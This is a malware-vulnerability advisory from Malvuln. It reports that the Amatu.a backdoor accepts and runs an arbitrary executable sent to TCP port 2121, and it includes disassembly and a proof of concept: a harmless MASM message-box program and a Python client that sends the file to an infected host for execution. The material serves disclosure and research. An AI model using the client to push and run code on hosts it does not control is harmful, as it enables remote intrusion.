Backdoor.Win32.Amatu.a MVID-2024-0698 Arbitrary File Write

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/1e2d0b90ffc23e00b743c41064bdcc6b.txt
Contact: [email protected]
Media: x.com/malvuln

Threat: Backdoor.Win32.Amatu.a
Vulnerability: Remote Arbitrary File Write (RCE)
Family: Amatu
Type: PE32
MD5: 1e2d0b90ffc23e00b743c41064bdcc6b
SHA256: 77fff9931013ab4de6d4be66ca4fda47be37b6f706a7062430ee8133c7521297
Vuln ID: MVID-2024-0698
Dropped files: mine.exe
Disclosure: 09/27/2024
Description: The malware listens on TCP port 2121. Third-party adversaries who can reach an infected host, can write arbitrary executable code to a file named “mine.exe” to SysWOW64 directory. The mine.exe PE file executes immediately and runs as a child of the parent process malware. Amatu calls several Win32 APIs “GetSystemDirectoryA”, “CreateFileA” and “WriteFile” to save the inbound code to disk. Finally, it calls “ShellExecuteA” executing the arbitrary PE file sent by the attacker. Setup a gateway and fake DNS sinkhole to mimic outbound internet access for the C2 or the port may not open.

“Amatu.a” disassembly

call ds:GetSystemDirectoryA
004A1FCB lea ecx, [ebp+Source]004A1FD1 push ecx ; Source
004A1FD2 lea edx, [ebp+Buffer]004A1FD8 push edx ; Destination
004A1FD9 call strcat
004A1FDE add esp, 8
004A1FE1 push offset aMine ; “mine”
004A1FE6 lea eax, [ebp+Buffer]004A1FEC push eax ; Destination
004A1FED call strcat
004A1FF2 add esp, 8
004A1FF5 push offset aExe ; “.exe”
004A1FFA lea ecx, [ebp+Buffer]004A2000 push ecx ; Destination
004A2001 call strcat

004A2022 call ds:CreateFileA

004A206B call recv
.004A2070 mov [ebp+nNumberOfBytesToWrite], eax
.004A2076 cmp [ebp+nNumberOfBytesToWrite], 0

push eax ; lpNumberOfBytesWritten
004A209C mov ecx, [ebp+nNumberOfBytesToWrite]004A20A2 push ecx ; nNumberOfBytesToWrite
004A20A3 lea edx, [ebp+buf]004A20A9 push edx ; lpBuffer
004A20AA mov eax, [ebp+hFile]004A20B0 push eax ; hFile
004A20B1 call ds:WriteFile

mov ecx, [ebp+hFile]004A20BF push ecx ; hObject
004A20C0 call ds:CloseHandle
004A20C6 push 1 ; nShowCmd
004A20C8 push 0 ; lpDirectory
004A20CA push 0 ; lpParameters
004A20CC lea edx, [ebp+Buffer]004A20D2 push edx ; lpFile
004A20D3 push offset Operation ; “open”
004A20D8 push 0 ; hwnd
004A20DA call ds:ShellExecuteA
004A20E0 mov eax, [ebp+s]004A20E3 push eax ; s
004A20E4 call closesocket

Exploit/PoC:
1) Create a small PE file named “mine.exe”, I used MASM and packed it with FSG.

“mine.exe”

include \masm32\include\masm32rt.inc
.data
HATE db “Masm32:”, 0
MyReal8 REAL8 123.456
.data?
aDword dd ?
.code
start:
invoke MessageBox, 0, chr$(“DOOM!”), addr HATE, MB_OK
mov eax, 123
exit
end start

2) Our custom client to send “mine.exe” to the remote infected host.

from socket import *

MALWARE_HOST=”x.x.x.x”
PORT=2121
DOOM=”mine.exe”

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, “rb”)
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print(“By Malvuln”);

if __name__==”__main__”:
doit()

Disclaimer: The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).